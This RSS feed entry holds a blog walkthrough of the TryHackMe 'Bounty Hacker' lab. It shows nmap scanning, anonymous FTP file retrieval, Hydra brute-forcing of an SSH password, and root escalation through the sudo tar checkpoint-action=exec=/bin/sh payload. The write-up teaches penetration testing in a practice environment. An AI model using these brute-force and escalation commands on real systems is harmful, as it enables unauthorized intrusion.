<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Prashant Aher on Medium]]></title>
        <description><![CDATA[Stories by Prashant Aher on Medium]]></description>
        <link>https://medium.com/@prashantaher615?source=rss-01b3018998c1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*LhL2JjFCbfhkA6fL</url>
            <title>Stories by Prashant Aher on Medium</title>
            <link>https://medium.com/@prashantaher615?source=rss-01b3018998c1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 16:42:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@prashantaher615/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bounty Hacker — TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@prashantaher615/bounty-hacker-tryhackme-walkthrough-7d570bb0d8ef?source=rss-01b3018998c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d570bb0d8ef</guid>
            <dc:creator><![CDATA[Prashant Aher]]></dc:creator>
            <pubDate>Sun, 20 Jul 2025 17:22:50 GMT</pubDate>
            <atom:updated>2025-07-22T03:37:45.037Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>TryHackMe -Bounty Hacker CTF</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mtQwkgfzGNK8xB5RxWY5A.jpeg" /><figcaption><strong>Bounty Hacker</strong></figcaption></figure><h3>Objective</h3><p>The goal of the <strong>TryHackMe “Bounty Hacker”</strong> room is to teach <strong>basic Penetration skills</strong> such as:</p><ul><li>Scanning for open ports and services</li><li>Accessing a server through FTP and SSH</li><li>Cracking passwords using brute-force</li><li>Escalating user privileges to root (admin)</li></ul><p>This room is <strong>perfect for beginners</strong> who want to start learning hands-on hacking in a fun and safe environment.</p><h3>Step 1: Connect to TryHackMe VPN</h3><p>First, connect your machine to TryHackMe using the VPN configuration file. This gives you access to the lab machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1TyMqFsu8qrR4vel2_y2Hw.png" /></figure><p><strong>$ sudo openvpn your_vpn_file.ovpn</strong></p><p><em>This command starts the VPN and securely connects you to TryHackMe’s network</em>.</p><h3>Step 2: Check if the Target is Online</h3><p>Use the ping command to check if the machine is reachable:</p><p><strong>$ ping 10.10.12.109</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*3vrWG-rOCjrcHWKcaXDdYw.jpeg" /></figure><p><em>This sends a test message to the target machine. If it replies, it means it’s online.</em></p><h3>Step 3: Scan the Target with Nmap</h3><p>Use Nmap to scan which ports and services are running on the machine:</p><p><strong>$ nmap -sS -sV 10.10.12.109</strong></p><p><strong>Command Breakdown</strong>:</p><ul><li>-sS: Performs a stealthy TCP scan.</li><li>-sV: Shows what services are running (like FTP, SSH).</li><li>10.10.12.109: IP of the target machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*_sEKnPROHw3_3uA_kPMMCA.jpeg" /></figure><p>Result: <strong>FTP (port 21), HTTP (port 80) </strong>and <strong>SSH (port 22)</strong> are open.</p><h3>Step 4: Connect to FTP and Download Files</h3><p><strong>FTP (File Transfer Protocol)</strong> is a standard network protocol used to <strong>transfer files between a client and a server</strong> over the internet.<br> It allows users to upload, download, rename, and manage files on a remote server, often requiring a username and password.</p><p>Access the FTP service:</p><p><strong>$ ftp 10.10.12.109</strong></p><p><strong>Name: anonymous (</strong><em>default name for ftp</em><strong>)</strong></p><p><strong>$ ftp&gt; passive <em>(</em></strong><em>Turning off passive mode (using active mode) can improve </em><strong><em>performance and control</em></strong><em> when the client has a public IP and no firewall restrictions.</em><strong><em>)</em></strong></p><p><strong>$ ftp&gt; ls </strong><em>(List the files)</em></p><p><strong>$ ftp&gt; mget *.txt </strong><em>(Download all </em><em>.txt files)</em></p><p><em>These files may contain useful information like usernames or passwords.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMkPL7HzmkMgRZpwo9-qTg.jpeg" /></figure><h3>Step 5: Read the Files</h3><p>Exit FTP using Ctrl+Z, then check what’s inside the files.</p><p><strong>$ cat locks.txt<br>$ cat task.txt</strong></p><ul><li>task.txt shows the username: lin</li><li>locks.txt contains a list of possible passwords.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STKSQMyyFbMaZlAkSQaChw.jpeg" /></figure><h3>Step 6: Brute-Force SSH Password with Hydra</h3><p><strong>Hydra</strong> is a powerful password-cracking tool used by ethical hackers to perform <strong>brute-force attacks</strong> on login pages and network services.</p><p>Use Hydra to try all passwords for user lin:</p><p><strong>$ hydra -l lin -P locks.txt ssh://10.10.12.109 -t 4</strong></p><p><strong>Command Breakdown</strong>:</p><ul><li>-l lin: Sets the username.</li><li>-P locks.txt: Uses the wordlist.</li><li>ssh://10.10.12.109: Target SSH service.</li><li>-t 4: Runs 4 attempts at a time (faster).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yumOzW4EHhExuxSWEdw_9g.jpeg" /></figure><p><strong>Success:</strong></p><p>[22][ssh] host: 10.10.139.120 login: lin password: R***************3</p><p>🎉 Success! Hydra finds the correct password.</p><h3>Step 7: Login via SSH</h3><p>SSH (Secure Shell) is a secure way to remotely access and control another computer over a network.</p><p>Use the cracked password to log in:</p><p><strong>$ ssh lin@10.10.12.109</strong></p><p>Once inside, list the files and read the first flag:</p><p><strong>$ ls<br>$ cat user.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*3mbbkqLp8ahBPDEJDS6Ahg.jpeg" /></figure><p><em>You’ve now accessed the system as a low-privilege user.</em></p><h3><strong>Step 8: </strong>Checking Sudo Permissions</h3><p>Next, we determine whether the user Lin possesses any sudo privileges that might grant root access.</p><p><strong>$ sudo -l</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2MGOn2AtmFe9TFedlFOaQ.png" /></figure><p>The commands that the current user can execute with superuser (root) privileges are displayed by the sudo -l command. Without requiring the root password, it assists in locating potential ways for privilege escalation.</p><p><strong>Output:</strong></p><p>The following commands can be executed on bountyhacker by user Lin:<br>(root) /bin/tar</p><p>As a known privilege escalation vector, this implies that Lin can execute the tar command as root without a password.</p><p>This will now be used to escalate to root.</p><h3>Step 9: Escalate to Root Using GTFOBins</h3><p>Check GTFOBins to see how to abuse the tar command to become root.</p><ol><li>Go to: <a href="https://gtfobins.github.io/">https://gtfobins.github.io</a></li><li>Search for tar</li><li>Click the <strong>sudo</strong> option</li><li>Copy the suggested payload</li><li>Paste it into your terminal (inside the SSH session)</li><li>Payload :- sudo tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh</li></ol><p>Enter lin’s password when asked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMiSe_Yj7QIaogintv_r6Q.jpeg" /></figure><p>We use this command to <strong>get a root shell</strong> by exploiting the fact that the user lin is allowed to run tar as root <strong>without a password</strong> (as shown by sudo -l).</p><p>This command tells tar to:</p><ul><li>Create an archive (to /dev/null, so it doesn’t really save anything)</li><li>When it hits the first file (checkpoint 1), it executes /bin/sh</li><li>Because it’s run with sudo, the shell is opened as <strong>root</strong></li></ul><p>The result: You get a <strong>root shell</strong>, giving you full control of the system.</p><h3>Step 10: Get Root Flag</h3><p>Now that you’re root (admin), check it:</p><p><strong># whoami</strong></p><p>Then read the final flag:</p><p><strong># cat /root/root.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSrWdO15-7CuRu3ks4G4Nw.jpeg" /></figure><h3>Conclusion</h3><p>The <strong>Bounty Hacker</strong> room teaches essential real-world hacking steps:</p><p>Enumeration<br>️FTP exploitation<br>Brute-force attack<br> Privilege escalation</p><p>This is an excellent starting point for anyone new to cybersecurity. It builds the core skills needed to explore more advanced rooms on TryHackMe or real penetration testing.</p><h3>Fun &amp; Friendly</h3><h4>Did you like this article? More is on the way!<br>Together, let’s geek out on<em> </em><a href="https://www.linkedin.com/in/prashantaher11/"><em>LinkedIn</em></a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d570bb0d8ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>